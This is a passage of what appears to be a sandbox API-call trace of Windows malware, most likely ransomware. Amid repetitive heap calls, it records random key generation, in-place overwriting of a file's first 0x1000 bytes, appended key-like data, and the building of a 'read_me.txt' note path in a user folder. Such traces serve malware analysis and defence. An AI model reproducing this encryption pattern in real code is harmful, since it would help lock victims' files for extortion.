dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.842] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0077.843] GetProcessHeap () returned 0x540000 [0077.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.844] GetProcessHeap () returned 0x540000 [0077.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.845] GetProcessHeap () returned 0x540000 [0077.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.845] GetProcessHeap () returned 0x540000 [0077.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0077.846] GetProcessHeap () returned 0x540000 [0077.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.846] GetProcessHeap () returned 0x540000 [0077.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0077.846] GetProcessHeap () returned 0x540000 [0077.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0077.846] GetProcessHeap () returned 0x540000 [0077.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.846] GetProcessHeap () returned 0x540000 [0077.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0077.846] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.846] WriteFile (in: hFile=0x7b8, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0077.848] WriteFile (in: hFile=0x7b8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0077.848] GetProcessHeap () returned 0x540000 [0077.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4191078 | out: hHeap=0x540000) returned 1 [0077.848] GetProcessHeap () returned 0x540000 [0077.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0077.848] GetProcessHeap () returned 0x540000 [0077.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0077.848] CloseHandle (hObject=0x7b8) returned 1 [0077.998] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 3 [0077.999] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.999] ReadFile (in: hFile=0x7ac, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0077.999] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.999] GetProcessHeap () returned 0x540000 [0077.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0077.999] GetProcessHeap () returned 0x540000 [0077.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0077.999] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0078.000] GetProcessHeap () returned 0x540000 [0078.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x333ca78 [0078.000] ReadFile (in: hFile=0x7ac, lpBuffer=0x333ca78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x333ca78*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0078.075] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.075] WriteFile (in: hFile=0x7ac, lpBuffer=0x333ca78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x333ca78*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0078.075] GetProcessHeap () returned 0x540000 [0078.075] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0078.075] GetProcessHeap () returned 0x540000 [0078.075] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.075] GetProcessHeap () returned 0x540000 [0078.075] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0078.075] GetProcessHeap () returned 0x540000 [0078.075] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.076] GetProcessHeap () returned 0x540000 [0078.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.077] GetProcessHeap () returned 0x540000 [0078.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.077] GetProcessHeap () returned 0x540000 [0078.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.078] GetProcessHeap () returned 0x540000 [0078.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.079] GetProcessHeap () returned 0x540000 [0078.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.080] GetProcessHeap () returned 0x540000 [0078.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0078.080] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.090] WriteFile (in: hFile=0x7ac, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0078.096] WriteFile (in: hFile=0x7ac, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0078.096] GetProcessHeap () returned 0x540000 [0078.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ca78 | out: hHeap=0x540000) returned 1 [0078.096] GetProcessHeap () returned 0x540000 [0078.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0078.097] GetProcessHeap () returned 0x540000 [0078.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0078.097] CloseHandle (hObject=0x7ac) returned 1 [0078.593] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 4 [0078.593] GetProcessHeap () returned 0x540000 [0078.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44600d8 [0078.594] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*") returned 52 [0078.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x77f, ftCreationTime.dwLowDateTime=0x334d850, ftCreationTime.dwHighDateTime=0x543c58, ftLastAccessTime.dwLowDateTime=0x87d, ftLastAccessTime.dwHighDateTime=0x285fbb0, ftLastWriteTime.dwLowDateTime=0x771945d6, ftLastWriteTime.dwHighDateTime=0x540000, nFileSizeHigh=0x33ba68, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="멨̳", cAlternateFileName="")) returned 0xffffffff [0078.594] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\read_me.txt") returned 62 [0078.594] GetProcessHeap () returned 0x540000 [0078.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44600d8 | out: hHeap=0x540000) returned 1 [0078.595] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 36 [0078.595] GetProcessHeap () returned 0x540000 [0078.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b2090 | out: hHeap=0x540000) returned 1 [0078.595] GetProcessHeap () returned 0x540000 [0078.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b2090 [0078.595] wnsprintfW (in: 